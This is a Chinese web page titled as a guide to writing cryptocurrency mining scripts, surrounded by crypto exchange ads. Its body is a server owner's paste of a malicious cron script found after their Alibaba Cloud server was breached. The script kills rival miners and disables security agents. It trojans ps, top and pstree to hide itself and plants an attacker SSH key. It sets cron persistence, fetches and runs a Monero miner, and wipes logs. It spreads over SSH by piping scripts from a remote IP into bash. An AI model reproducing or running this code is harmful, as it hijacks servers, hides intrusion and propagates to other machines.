虚拟货币挖矿脚本怎么写_百科

Bitget下载

注册下载Bitget下载，邀请好友，即有机会赢取 3,000 USDT

APP下载官网注册

刚买阿里云服务器，晚上就被攻破了。定时任务脚本如下：

mr.crypto-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 %

ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 %

ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 %

ps auxf | grep -v grep | grep "kieuanilam.me" | awk '{print $2}' | xargs -I % kill -9 %

ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 %

ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 %

netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %

netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %

pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %

pgrep -f xzpauectgr | xargs -I % kill -9 %

pgrep -f slxfbkmxtd | xargs -I % kill -9 %

pgrep -f mixtape | xargs -I % kill -9 %

pgrep -f addnj | xargs -I % kill -9 %

pgrep -f 200.68.17.196 | xargs -I % kill -9 %

pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 %

pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 %

pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 %

pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 %

pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 %

pgrep -f honvbsasbf.conf | xargs -I % kill -9 %

pgrep -f mqdsflm.cf | xargs -I % kill -9 %

pgrep -f lower.sh | xargs -I % kill -9 %

pgrep -f ./ppp | xargs -I % kill -9 %

pgrep -f cryptonight | xargs -I % kill -9 %

pgrep -f ./seervceaess | xargs -I % kill -9 %

pgrep -f ./servceaess | xargs -I % kill -9 %

pgrep -f ./servceas | xargs -I % kill -9 %

pgrep -f ./servcesa | xargs -I % kill -9 %

pgrep -f ./vsp | xargs -I % kill -9 %

pgrep -f ./jvs | xargs -I % kill -9 %

pgrep -f ./pvv | xargs -I % kill -9 %

pgrep -f ./vpp | xargs -I % kill -9 %

pgrep -f ./pces | xargs -I % kill -9 %

pgrep -f ./rspce | xargs -I % kill -9 %

pgrep -f ./haveged | xargs -I % kill -9 %

pgrep -f ./jiba | xargs -I % kill -9 %

pgrep -f ./watchbog | xargs -I % kill -9 %

pgrep -f ./A7mA5gb | xargs -I % kill -9 %

pgrep -f kacpi_svc | xargs -I % kill -9 %

pgrep -f kswap_svc | xargs -I % kill -9 %

pgrep -f kauditd_svc | xargs -I % kill -9 %

pgrep -f kpsmoused_svc | xargs -I % kill -9 %

pgrep -f kseriod_svc | xargs -I % kill -9 %

pgrep -f kthreadd_svc | xargs -I % kill -9 %

pgrep -f ksoftirqd_svc | xargs -I % kill -9 %

pgrep -f kintegrityd_svc | xargs -I % kill -9 %

pgrep -f jawa | xargs -I % kill -9 %

pgrep -f oracle.jpg | xargs -I % kill -9 %

pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 %

pgrep -f 188.209.49.54 | xargs -I % kill -9 %

pgrep -f 181.214.87.241 | xargs -I % kill -9 %

pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 %

pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 %

pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 %

pgrep -f servim | xargs -I % kill -9 %

pgrep -f kblockd_svc | xargs -I % kill -9 %

pgrep -f native_svc | xargs -I % kill -9 %

pgrep -f ynn | xargs -I % kill -9 %

pgrep -f 65ccEJ7 | xargs -I % kill -9 %

pgrep -f jmxx | xargs -I % kill -9 %

pgrep -f 2Ne80nA | xargs -I % kill -9 %

pgrep -f sysstats | xargs -I % kill -9 %

pgrep -f systemxlv | xargs -I % kill -9 %

pgrep -f watchbog | xargs -I % kill -9 %

pgrep -f OIcJi1m | xargs -I % kill -9 %

pkill -f biosetjenkins

pkill -f Loopback

pkill -f apaceha

pkill -f cryptonight

pkill -f mixnerdx

pkill -f performedl

pkill -f JnKihGjn

pkill -f irqba2anc1

pkill -f irqba5xnc1

pkill -f irqbnc1

pkill -f ir29xc1

pkill -f conns

pkill -f irqbalance

pkill -f crypto-pool

pkill -f XJnRj

pkill -f mgwsl

pkill -f pythno

pkill -f jweri

pkill -f lx26

pkill -f NXLAi

pkill -f BI5zj

pkill -f askdljlqw

pkill -f minerd

pkill -f minergate

pkill -f Guard.sh

pkill -f ysaydh

pkill -f bonns

pkill -f donns

pkill -f kxjd

pkill -f Duck.sh

pkill -f bonn.sh

pkill -f conn.sh

pkill -f kworker34

pkill -f kw.sh

pkill -f pro.sh

pkill -f polkitd

pkill -f acpid

pkill -f icb5o

pkill -f nopxi

pkill -f irqbalanc1

pkill -f minerd

pkill -f i586

pkill -f gddr

pkill -f mstxmr

pkill -f ddg.2011

pkill -f wnTKYg

pkill -f deamon

pkill -f disk_genius

pkill -f sourplum

pkill -f polkitd

pkill -f nanoWatch

pkill -f zigw

pkill -f devtool

pkill -f devtools

pkill -f systemctI

pkill -f watchbog

pkill -f cryptonight

pkill -f sustes

pkill -f xmrig

pkill -f xmrig-cpu

pkill -f 121.42.151.137

pkill -f init12.cfg

pkill -f nginxk

pkill -f tmp/wc.confz

pkill -f xmrig-notls

pkill -f xmr-stak

pkill -f suppoie

pkill -f zer0day.ru

pkill -f dbus-daemon--system

pkill -f nullcrew

pkill -f systemctI

pkill -f kworkerds

pkill -f init10.cfg

pkill -f /wl.conf

pkill -f crond64

pkill -f sustse

pkill -f vmlinuz

pkill -f exin

pkill -f apachiii

pkill -f crypto

pkill -f tntrecht

pkill -f xr

pkill -f svcupdate

pkill -9 cnrig

rm -rf /usr/bin/config.json

rm -rf /usr/bin/exin

rm -rf /tmp/wc.conf

rm -rf /tmp/log_rot

rm -rf /tmp/apachiii

rm -rf /tmp/sustse

rm -rf /tmp/php

rm -rf /tmp/p2.conf

rm -rf /tmp/pprt

rm -rf /tmp/ppol

rm -rf /tmp/javax/config.sh

rm -rf /tmp/javax/sshd2

rm -rf /tmp/.profile

rm -rf /tmp/1.so

rm -rf /tmp/kworkerds

rm -rf /tmp/kworkerds3

rm -rf /tmp/kworkerdssx

rm -rf /tmp/xd.json

rm -rf /tmp/syslogd

rm -rf /tmp/syslogdb

rm -rf /tmp/65ccEJ7

rm -rf /tmp/jmxx

rm -rf /tmp/2Ne80nA

rm -rf /tmp/dl

rm -rf /tmp/ddg

rm -rf /tmp/systemxlv

rm -rf /tmp/systemctI

rm -rf /tmp/.abc

rm -rf /tmp/osw.hb

rm -rf /tmp/.tmpleve

rm -rf /tmp/.tmpnewzz

rm -rf /tmp/.java

rm -rf /tmp/.omed

rm -rf /tmp/.tmpc

rm -rf /tmp/.tmpleve

rm -rf /tmp/.tmpnewzz

rm -rf /tmp/gates.lod

rm -rf /tmp/conf.n

rm -rf /tmp/devtool

rm -rf /tmp/devtools

rm -rf /tmp/fs

rm -rf /tmp/.rod

rm -rf /tmp/.rod.tgz

rm -rf /tmp/.rod.tgz.1

rm -rf /tmp/.rod.tgz.2

rm -rf /tmp/.mer

rm -rf /tmp/.mer.tgz

rm -rf /tmp/.mer.tgz.1

rm -rf /tmp/.hod

rm -rf /tmp/.hod.tgz

rm -rf /tmp/.hod.tgz.1

rm -rf /tmp/84Onmce

rm -rf /tmp/C4iLM4L

rm -rf /tmp/lilpip

rm -rf /tmp/3lmigMo

rm -rf /tmp/am8jmBP

rm -rf /tmp/tmp.txt

rm -rf /tmp/baby

rm -rf /tmp/.lib

rm -rf /tmp/systemd

rm -rf /tmp/lib.tar.gz

rm -rf /tmp/baby

rm -rf /tmp/java

rm -rf /tmp/j2.conf

rm -rf /tmp/.mynews1234

rm -rf /tmp/a3e12d

rm -rf /tmp/.pt

rm -rf /tmp/.pt.tgz

rm -rf /tmp/.pt.tgz.1

rm -rf /tmp/go

rm -rf /tmp/java

rm -rf /tmp/j2.conf

rm -rf /tmp/.tmpnewasss

rm -rf /tmp/java

rm -rf /tmp/go.sh

rm -rf /tmp/go2.sh

rm -rf /tmp/khugepageds

rm -rf /tmp/.censusqqqqqqqqq

rm -rf /tmp/.kerberods

rm -rf /tmp/kerberods

rm -rf /tmp/seasame

rm -rf /tmp/touch

rm -rf /tmp/.p

rm -rf /tmp/runtime2.sh

rm -rf /tmp/runtime.sh

rm -rf /dev/shm/z3.sh

rm -rf /dev/shm/z2.sh

rm -rf /dev/shm/.scr

rm -rf /dev/shm/.kerberods

rm -f /etc/ld.so.preload

rm -rf /etc/systemd/system/systemde.service*

rm -f /etc/ld.so.preload

rm -f /usr/local/lib/libioset.so

chattr -i /etc/ld.so.preload

rm -f /etc/ld.so.preload

systemctl stop moneroocean_miner.service

systemctl stop systemde.service

rm -f /usr/local/lib/libioset.so

rm -rf /tmp/watchdogs

rm -rf /etc/cron.d/tomcat

rm -rf /etc/rc.d/init.d/watchdogs

rm -rf /usr/sbin/watchdogs

rm -f /tmp/kthrotlds

rm -f /etc/rc.d/init.d/kthrotlds

rm -rf /tmp/.sysbabyuuuuu12

rm -rf /tmp/logo9.jpg

rm -rf /tmp/miner.sh

rm -rf /tmp/nullcrew

rm -rf /tmp/proc

rm -rf /tmp/2.sh

rm /opt/atlassian/confluence/bin/1.sh

rm /opt/atlassian/confluence/bin/1.sh.1

rm /opt/atlassian/confluence/bin/1.sh.2

rm /opt/atlassian/confluence/bin/1.sh.3

rm /opt/atlassian/confluence/bin/3.sh

rm /opt/atlassian/confluence/bin/3.sh.1

rm /opt/atlassian/confluence/bin/3.sh.2

rm /opt/atlassian/confluence/bin/3.sh.3

rm -rf /var/tmp/f41

rm -rf /var/tmp/2.sh

rm -rf /var/tmp/config.json

rm -rf /var/tmp/xmrig

rm -rf /var/tmp/1.so

rm -rf /var/tmp/kworkerds3

rm -rf /var/tmp/kworkerdssx

rm -rf /var/tmp/kworkerds

rm -rf /var/tmp/wc.conf

rm -rf /var/tmp/nadezhda.

rm -rf /var/tmp/nadezhda.arm

rm -rf /var/tmp/nadezhda.arm.1

rm -rf /var/tmp/nadezhda.arm.2

rm -rf /var/tmp/nadezhda.x86_64

rm -rf /var/tmp/nadezhda.x86_64.1

rm -rf /var/tmp/nadezhda.x86_64.2

rm -rf /var/tmp/sustse3

rm -rf /var/tmp/sustse

rm -rf /var/tmp/moneroocean/

rm -rf /var/tmp/devtool

rm -rf /var/tmp/devtools

rm -rf /var/tmp/play.sh

rm -rf /var/tmp/systemctI

rm -rf /var/tmp/.java

rm -rf /var/tmp/1.sh

rm -rf /var/tmp/conf.n

rm -r /var/tmp/lib

rm -r /var/tmp/.lib

rm -rf /opt/systemd-service.sh

rm -rf /opt/.systemd-service.sh

rm -rf /root/.systemd-service.sh

rm -rf /usr/share/\[crypto\]

chattr -R -ia /usr/bin/TeamTNT/*

chattr -R -ia /usr/bin/watchdogd*

rm -rf /usr/bin/watchdogd*

service crypto stop

systemctl stop crypto.service

systemctl stop watchdogd

service watchdogd stop

rm -fr /usr/bin/TeamTNT/*

chattr -iau /tmp/lok

chmod +700 /tmp/lok

rm -rf /tmp/lok

sleep 1

chattr -i /tmp/kdevtmpfsi

echo 1 > /tmp/kdevtmpfsi

chattr +i /tmp/kdevtmpfsi

sleep 1

chattr -i /usr/lib/systemd/systemd-update-daily

echo 1 > /usr/lib/systemd/systemd-update-daily

chattr +i /usr/lib/systemd/systemd-update-daily

>/tmp/svcupdate

>/tmp/svcguard

>/etc/svcupdate

>/etc/svcguard

>/etc/cron.daily/logrotate

>/etc/cron.hourly/0anacron

>/etc/rc.d/rc.local

#yum install -y docker.io || apt-get install docker.io;

docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill %

docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill %

docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill %

docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %

docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %

docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %

docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %

docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill %

docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill %

docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill %

docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f %

docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f %

docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f %

docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f %

docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f %

docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f %

docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f %

docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f %

docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f %

docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f %

docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %

#echo SELINUX=disabled >/etc/selinux/config

service apparmor stop

systemctl disable apparmor

service aliyun.service stop

systemctl disable aliyun.service

ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %

ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %

rm -rf /usr/local/aegis

chattr -R -ia /var/spool/cron

chattr -ia /etc/crontab

chattr -R -ia /etc/cron.d

chattr -R -ia /var/spool/cron/crontabs

crontab -r

rm -rf /var/spool/cron/*

rm -rf /etc/cron.d/*

rm -rf /var/spool/cron/crontabs

rm -rf /etc/crontab

}

kill_miner_proc

kill_sus_proc()

{

ps axf -o "pid"|while read procid

ls -l /proc/$procid/exe | grep /tmp

if [ $? -ne 1 ]

then

cat /proc/$procid/cmdline| grep -a -E "zzh"

if [ $? -ne 0 ]

then

kill -9 $procid

else

echo "don't kill"

done

ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid

cat /proc/$procid/cmdline| grep -a -E "zzh"

if [ $? -ne 0 ]

then

kill -9 $procid

else

echo "don't kill"

done

}

kill_sus_proc

nameserver(){

grep -q 1.1.1.1 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 1.1.1.1" >> /etc/resolv.conf; chattr +i /etc/resolv.conf 2>/dev/null 1>/dev/null

}

nameserver

fuckyou(){

$(docker rm $(docker ps | grep -v grep | grep "/root/startup.sh" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)

$(docker rm $(docker ps | grep -v grep | grep "widoc26117/xmr" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)

$(docker rm $(docker ps | grep -v grep | grep "zbrtgwlxz" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)

$(docker rm $(docker ps | grep -v grep | grep "tail -f /dev/null" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)

$(docker rm $(docker ps | grep -v grep | grep "/usr/bin/supervisor…" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)

$(docker rm $(docker ps | grep -v grep | grep "/app/BitLockerServi…" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)

rm -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null

pkill -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null

rm -fr /tmp/moneroocean/ 2>/dev/null 1>/dev/null

killall -9 xmrig 2>/dev/null 1>/dev/null

if [ -f /root/.tmp/xmrig ]; then

chattr -iR /root/.tmp/ 2>/dev/null 1>/dev/null

tmpxmrigfile="/root/.tmp/miner.sh"

rm -f $tmpxmrigfile 2>/dev/null 1>/dev/null

pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null

kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null

chmod +x $tmpxmrigfile 2>/dev/null 1>/dev/null

chattr +i $tmpxmrigfile 2>/dev/null 1>/dev/null

pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null

kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null

killall $tmpxmrigfile 2>/dev/null 1>/dev/null

chmod -x /root/.tmp/xmrig 2>/dev/null 1>/dev/null

rm -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null

chattr +i /root/.tmp/xmrig 2>/dev/null 1>/dev/null

pkill -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null

ps ax| grep xmrig 2>/dev/null 1>/dev/null

BASH00=$(ps ax | grep -v grep | grep "/root/.tmp00/bash")

if [ ! -z "$BASH00" ];

then

chattr -i /var/spool/cron/root 2>/dev/null 1>/dev/null

chmod 1777 /var/spool/cron/root 2>/dev/null 1>/dev/null

chmod -x /var/spool/cron/root 2>/dev/null 1>/dev/null

echo " " > /var/spool/cron/root 2>/dev/null 1>/dev/null

rm -f /var/spool/cron/root 2>/dev/null 1>/dev/null

chattr -i /root/.tmp00/bash 2>/dev/null 1>/dev/null

chmod -x /root/.tmp00/bash 2>/dev/null 1>/dev/null

pkill -f /root/.tmp00/bash 2>/dev/null 1>/dev/null

kill $(ps ax | grep -v grep | grep "/root/.tmp00/bash" | awk '{print $1}') 2>/dev/null 1>/dev/null

kill $(pidof /root/.tmp00/bash) 2>/dev/null 1>/dev/null

echo " " > /root/.tmp00/bash 2>/dev/null 1>/dev/null

rm -f /root/.tmp00/bash 2>/dev/null 1>/dev/null

echo "fuckyou" > /root/.tmp00/bash

chattr +i /root/.tmp00/bash 2>/dev/null 1>/dev/null

history -c 2>/dev/null 1>/dev/null

KINSING1=$(ps ax | grep -v grep | grep "/var/tmp/kinsing")

if [ ! -z "$KINSING1" ];

then

chattr -i /var/tmp/kinsing 2>/dev/null 1>/dev/null

chmod -x /var/tmp/kinsing 2>/dev/null 1>/dev/null

pkill -f /var/tmp/kinsing 2>/dev/null 1>/dev/null

kill $(ps ax | grep -v grep | grep "/var/tmp/kinsing" | awk '{print $1}') 2>/dev/null 1>/dev/null

kill $(pidof /var/tmp/kinsing) 2>/dev/null 1>/dev/null

echo " " > /var/tmp/kinsing 2>/dev/null 1>/dev/null

rm -f /var/tmp/kinsing 2>/dev/null 1>/dev/null

echo "fuckyou" > /var/tmp/kinsing

chattr +i /var/tmp/kinsing 2>/dev/null 1>/dev/null

history -c 2>/dev/null 1>/dev/null

KINSING2=$(ps ax | grep -v grep | grep "/tmp/kdevtmpfsi")

if [ ! -z "$KINSING2" ];

then

chattr -i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null

chmod -x /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null

pkill -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null

kill $(ps ax | grep -v grep | grep "/tmp/kdevtmpfsi" | awk '{print $1}') 2>/dev/null 1>/dev/null

kill $(pidof /tmp/kdevtmpfsi) 2>/dev/null 1>/dev/null

echo " " > /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null

rm -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null

echo "fuckyou" > /tmp/kdevtmpfsi

chattr +i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null

history -c 2>/dev/null 1>/dev/null

}

fuckyou

downloads()

{

if [ -f "/usr/bin/curl" ]

then

echo $1,$2

http_code=`curl -I -m 50 -o /dev/null -s -w %{http_code} $1`

if [ "$http_code" -eq "200" ]

then

curl --connect-timeout 100 --retry 100 $1 > $2

elif [ "$http_code" -eq "405" ]

then

curl --connect-timeout 100 --retry 100 $1 > $2

else

curl --connect-timeout 100 --retry 100 $3 > $2

elif [ -f "/usr/bin/cd1" ]

then

http_code=`cd1 -I -m 50 -o /dev/null -s -w %{http_code} $1`

if [ "$http_code" -eq "200" ]

then

cd1 --connect-timeout 100 --retry 100 $1 > $2

elif [ "$http_code" -eq "405" ]

then

cd1 --connect-timeout 100 --retry 100 $1 > $2

else

cd1 --connect-timeout 100 --retry 100 $3 > $2

elif [ -f "/usr/bin/wget" ]

then

wget --timeout=50 --tries=100 -O $2 $1

if [ $? -ne 0 ]

then

wget --timeout=100 --tries=100 -O $2 $3

elif [ -f "/usr/bin/wd1" ]

then

wd1 --timeout=100 --tries=100 -O $2 $1

if [ $? -eq 0 ]

then

wd1 --timeout=100 --tries=100 -O $2 $3

}

unlock_cron()

{

chattr -R -ia /var/spool/cron

chattr -ia /etc/crontab

chattr -R -ia /var/spool/cron/crontabs

chattr -R -ia /etc/cron.d

}

lock_cron()

{

chattr -R +ia /var/spool/cron

chattr +ia /etc/crontab

chattr -R +ia /var/spool/cron/crontabs

chattr -R +ia /etc/cron.d

}

if [ -f "$rtdir" ]

then

echo "i am root"

mkdir -p /root/.ssh

echo "goto 1" >> /etc/zzhs

chattr -ia /etc/zzh*

chattr -ia /etc/newinit.sh*

chattr -ia /root/.ssh/authorized_keys*

chattr -R -ia /root/.ssh

if [ -f "/bin/ps.original" ]

then

echo "/bin/ps changed"

else

mv /bin/ps /bin/ps.original

echo "#! /bin/bash">>/bin/ps

echo "ps.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/ps

chmod +x /bin/ps

touch -d 20160825 /bin/ps

echo "/bin/ps changing"

if [ -f "/bin/top.original" ]

then

echo "/bin/top changed"

else

mv /bin/top /bin/top.original

echo "#! /bin/bash">>/bin/top

echo "top.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/top

chmod +x /bin/top

touch -d 20160825 /bin/top

echo "/bin/top changing"

if [ -f "/bin/pstree.original" ]

then

echo "/bin/pstree changed"

else

mv /bin/pstree /bin/pstree.original

echo "#! /bin/bash">>/bin/pstree

echo "pstree.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/pstree

chmod +x /bin/pstree

touch -d 20160825 /bin/pstree

echo "/bin/pstree changing"

if [ -f "/bin/chattr" ]

then

chattrsize=`ls -l /bin/chattr | awk '{ print $5 }'`

if [ "$chattrsize" -lt "$chattr_size" ]

then

yum -y remove e2fsprogs

yum -y install e2fsprogs

else

echo "no need install chattr"

else

yum -y remove e2fsprogs

yum -y install e2fsprogs

unlock_cron

rm -f ${crondir}

rm -f /etc/cron.d/zzh

rm -f /etc/crontab

echo "*/30 * * * * sh /etc/newinit.sh >/dev/null 2>&1" >> ${crondir}

echo "*/40 * * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/cron.d/zzh

echo "0 1 * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/crontab

echo crontab created

lock_cron

chmod 700 /root/.ssh/

echo >> /root/.ssh/authorized_keys

chmod 600 /root/.ssh/authorized_keys

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJNzaDHmCFQMCVn6DlhT8Tj1CcBLouOPpuBVqGoZem9UT/sdy563H+e1cQD6LRA9lgyBO8VBOuyjlPf/rdYeXZRv9eFZ4ROGCOX/dvNzV9XdEyPX+znEL4AS45ko0obSqNGbserHPcKtXBjjcf9zWtRvBA4lteyXENWeCST61OhVI0K7bNTUHsQhFC0rgiGFqVv+kIwMVauMxeNd5PjsES4C5P9G8Ynligmdxp7LdOFeb5/V/iO8eceQsxLyXVCe2Jue5gaaOIbKy2j2HPxj6qK2BUqlx+dJdat6HE2HyPWDKD5jPyA5RCSs1zphe7BQjH20cX1nyzbhxNNQncs5BfB0kk2Qcb9IS/ofX9p8zIVKLUHMUNC9mKqPljzxH/3wYnOZrgebS4uwfyad+6SQ1oRfs1vWotXxSz1hBjhRPpUqzA7J865AcSOZBaoRsRKZ1BaGMyJyjIfkecFgeDpmbHzOzCjIXAeh20S2wLYZGdrhgVEr0= uc1" > /root/.ssh/authorized_keys

cd1 "http://45.133.203.192/cleanfda/info/?$us" >>/dev/null

wd1 -q -O- "http://45.133.203.192/cleanfda/info/?$us" >>/dev/null

file="/etc/zzh"

if [ -f "/etc/zzh" ]

then

filesize1=`ls -l /etc/zzh | awk '{ print $5 }'`

if [ "$filesize1" -ne "$miner_size" ]

then

pkill -f zzh

rm /etc/zzh

downloads $miner_url /etc/zzh $miner_url_backup

else

echo "not need download"

else

downloads $miner_url /etc/zzh $miner_url_backup

downloads $sh_url /etc/newinit.sh $sh_url_backup

chmod 777 /etc/zzh

if [ -f "/bin/ps.original" ]

then

ps.original -fe|grep zzh |grep -v grep

else

ps -fe|grep zzh |grep -v grep

if [ $? -ne 0 ]

then

cd /etc

echo "not root runing"

sleep 5s

./zzh --log-file=/etc/etc --keepalive --no-color --cpu-priority 5 -o dev.fugglesoft.me:5443 --tls --nicehash --coin monero -o xmr-eu1.nanopool.org:14444 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.clean --coin monero -o 80.211.206.105:9000 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.clean --tls --coin monero --background &

else

echo "root runing....."

chmod 777 /etc/zzh

chattr +ia /etc/zzh

chmod 777 /etc/newinit.sh

chattr +ia /etc/newinit.sh

chmod 600 /root/.ssh/authorized_keys

chattr +ia /root/.ssh/authorized_keys

else

echo "goto 1" > /tmp/zzhs

chattr -ia /tmp/zzh*

chattr -ia /tmp/newinit.sh*

if [ ! -f "/usr/bin/crontab" ]

then

unlock_cron

echo "*/30 * * * * sh /tmp/newinit.sh >/dev/null 2>&1" >> ${crondir}

lock_cron

else

unlock_cron

[[ $cont =~ "newinit.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/newinit.sh >/dev/null 2>&1") | crontab -

lock_cron

if [ -f "/tmp/zzh" ]

then

filesize1=`ls -l /tmp/zzh | awk '{ print $5 }'`

if [ "$filesize1" -ne "$miner_size" ]

then

pkill -f zzh

rm /tmp/zzh

downloads $miner_url /tmp/zzh $miner_url_backup

else

echo "no need download"

else

downloads $miner_url /tmp/zzh $miner_url_backup

echo "i am here"

downloads $sh_url /tmp/newinit.sh $sh_url_backup

ps -fe|grep zzh |grep -v grep

if [ $? -ne 0 ]

then

echo "not tmp runing"

cd /tmp

chmod 777 zzh

sleep 5s

else

echo "tmp runing....."

chmod 777 /tmp/zzh

chattr +i /tmp/zzh

chmod 777 /tmp/newinit.sh

chattr +i /tmp/newinit.sh

iptables -F

iptables -X

iptables -A OUTPUT -p tcp --dport 5555 -j DROP

iptables -A OUTPUT -p tcp --dport 7777 -j DROP

iptables -A OUTPUT -p tcp --dport 9999 -j DROP

iptables -A OUTPUT -p tcp --dport 10008 -j DROP

service iptables reload

history -c

echo > /var/spool/mail/root

echo > /var/log/wtmp

echo > /var/log/secure

echo > /root/.bash_history

chmod 444 /usr/bin/chattr

chmod 444 /bin/chattr

yum install -y bash 2>/dev/null

apt install -y bash 2>/dev/null

apt-get install -y bash 2>/dev/null

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then

for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o- http://45.133.203.192/cleanfda/init.sh | bash >/dev/null 2>&1 &' & done

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then

for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'cd1 -o- http://45.133.203.192/cleanfda/init.sh | bash >/dev/null 2>&1 &' & done

echo "$bbdir"

echo "$bbdira"

$bbdir -fsSL http://45.133.203.192/cleanfda/is.sh | bash

$bbdira -fsSL http://45.133.203.192/cleanfda/is.sh | bash

虚拟货币挖矿脚本怎么写

Bitget下载

相关推荐

猜你喜欢